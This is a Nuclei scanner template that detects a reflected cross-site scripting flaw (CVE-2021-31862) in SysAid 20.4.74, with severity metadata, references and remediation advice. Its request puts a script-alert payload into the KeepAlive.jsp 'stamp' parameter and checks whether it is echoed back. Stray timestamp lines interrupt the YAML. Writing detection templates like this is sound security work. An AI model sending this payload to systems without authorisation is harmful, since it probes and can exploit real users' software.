nuclei-templates/http/cves/2021/CVE-2021-31862.yaml

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id: CVE-2021-31862
info:
name: SysAid 20.4.74 - Cross-Site Scripting
author: jas37
severity: medium
description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability.
reference:
- https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md
- https://www.sysaid.com/product/on-premise/latest-release
- https://nvd.nist.gov/vuln/detail/CVE-2021-31862
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-31862
cwe-id: CWE-79
2023-08-31 11:46:18 +00:00
epss-score: 0.00141
epss-percentile: 0.49743
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: sysaid
product: sysaid
tags: cve,cve2021,xss,sysaid
http:
- method: GET
path:
- '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E'
matchers:
- type: dsl
dsl:
- '(body == "false <script>alert(document.domain)</script>")'
- 'status_code == 200'
condition: and
# digest: 490a0046304402201ba6b108d8f96cf5b6c8ca4e2f74c2f9b05cc599770b83d95d4b35498582fa710220195c4e1adf5fe92f775ebe3029f5917f0a6fe0174569f263d2f0f736a6f8c605:922c64590222798bb761d5b6d8e72950